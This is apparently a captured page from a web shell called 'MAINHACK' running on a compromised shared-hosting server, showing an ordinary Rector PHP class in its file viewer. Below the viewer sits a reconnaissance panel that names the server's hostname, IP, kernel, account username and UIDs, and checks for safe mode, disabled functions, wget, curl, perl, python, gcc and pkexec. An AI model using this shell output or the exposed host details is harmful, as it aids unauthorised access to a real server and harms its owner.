[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: NodeTransformer.php
File is not writable. Editing disabled.
<?php declare (strict_types=1); namespace Rector\PhpParser; use PhpParser\BuilderHelpers; use PhpParser\Node\Arg; use PhpParser\Node\Expr; use PhpParser\Node\Expr\Array_; use PhpParser\Node\Expr\ArrayItem; use PhpParser\Node\Expr\BinaryOp\Concat; use PhpParser\Node\Expr\FuncCall; use PhpParser\Node\Expr\Yield_; use PhpParser\Node\Scalar\String_; use PhpParser\Node\Stmt\Expression; use Rector\Exception\ShouldNotHappenException; use Rector\NodeTypeResolver\Node\AttributeKey; use Rector\Util\StringUtils; use Rector\ValueObject\SprintfStringAndArgs; /** * @api used in phpunit */ final class NodeTransformer { /** * @var string * @see https://regex101.com/r/XFc3qA/1 */ private const PERCENT_TEXT_REGEX = '#^%\\w$#'; /** * @api used in phpunit symfony * * From: * - sprintf("Hi %s", $name); * * to: * - ["Hi %s", $name] */ public function transformSprintfToArray(FuncCall $sprintfFuncCall) : ?Array_ { $sprintfStringAndArgs = $this->splitMessageAndArgs($sprintfFuncCall); if (!$sprintfStringAndArgs instanceof SprintfStringAndArgs) { return null; } $arrayItems = $sprintfStringAndArgs->getArrayItems(); $stringValue = $sprintfStringAndArgs->getStringValue(); $messageParts = $this->splitBySpace($stringValue); $arrayMessageParts = []; foreach ($messageParts as $messagePart) { if (StringUtils::isMatch($messagePart, self::PERCENT_TEXT_REGEX)) { /** @var Expr $messagePartNode */ $messagePartNode = \array_shift($arrayItems); } else { $messagePartNode = new String_($messagePart); } $arrayMessageParts[] = new ArrayItem($messagePartNode); } return new Array_($arrayMessageParts); } /** * @return Expression[] */ public function transformArrayToYields(Array_ $array) : array { $yields = []; foreach ($array->items as $arrayItem) { if (!$arrayItem instanceof ArrayItem) { continue; } $yield = new Yield_($arrayItem->value, $arrayItem->key); $expression = new Expression($yield); $arrayItemComments = $arrayItem->getComments(); if ($arrayItemComments !== []) { $expression->setAttribute(AttributeKey::COMMENTS, $arrayItemComments); } $yields[] = $expression; } return $yields; } /** * @api symfony */ public function transformConcatToStringArray(Concat $concat) : Array_ { $arrayItems = $this->transformConcatToItems($concat); $expr = BuilderHelpers::normalizeValue($arrayItems); if (!$expr instanceof Array_) { throw new ShouldNotHappenException(); } return $expr; } private function splitMessageAndArgs(FuncCall $sprintfFuncCall) : ?SprintfStringAndArgs { $stringArgument = null; $arrayItems = []; foreach ($sprintfFuncCall->args as $i => $arg) { if (!$arg instanceof Arg) { continue; } if ($i === 0) { $stringArgument = $arg->value; } else { $arrayItems[] = $arg->value; } } if (!$stringArgument instanceof String_) { return null; } if ($arrayItems === []) { return null; } return new SprintfStringAndArgs($stringArgument, $arrayItems); } /** * @return string[] */ private function splitBySpace(string $value) : array { $value = \str_getcsv($value, ' '); return \array_filter($value); } /** * @return mixed[] */ private function transformConcatToItems(Concat $concat) : array { $arrayItems = $this->transformConcatItemToArrayItems($concat->left); return \array_merge($arrayItems, $this->transformConcatItemToArrayItems($concat->right)); } /** * @return mixed[]|Expr[]|String_[] */ private function transformConcatItemToArrayItems(Expr $expr) : array { if ($expr instanceof Concat) { return $this->transformConcatToItems($expr); } if (!$expr instanceof String_) { return [$expr]; } $arrayItems = []; $parts = $this->splitBySpace($expr->value); foreach ($parts as $part) { if (\trim($part) !== '') { $arrayItems[] = new String_($part); } } return $arrayItems; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A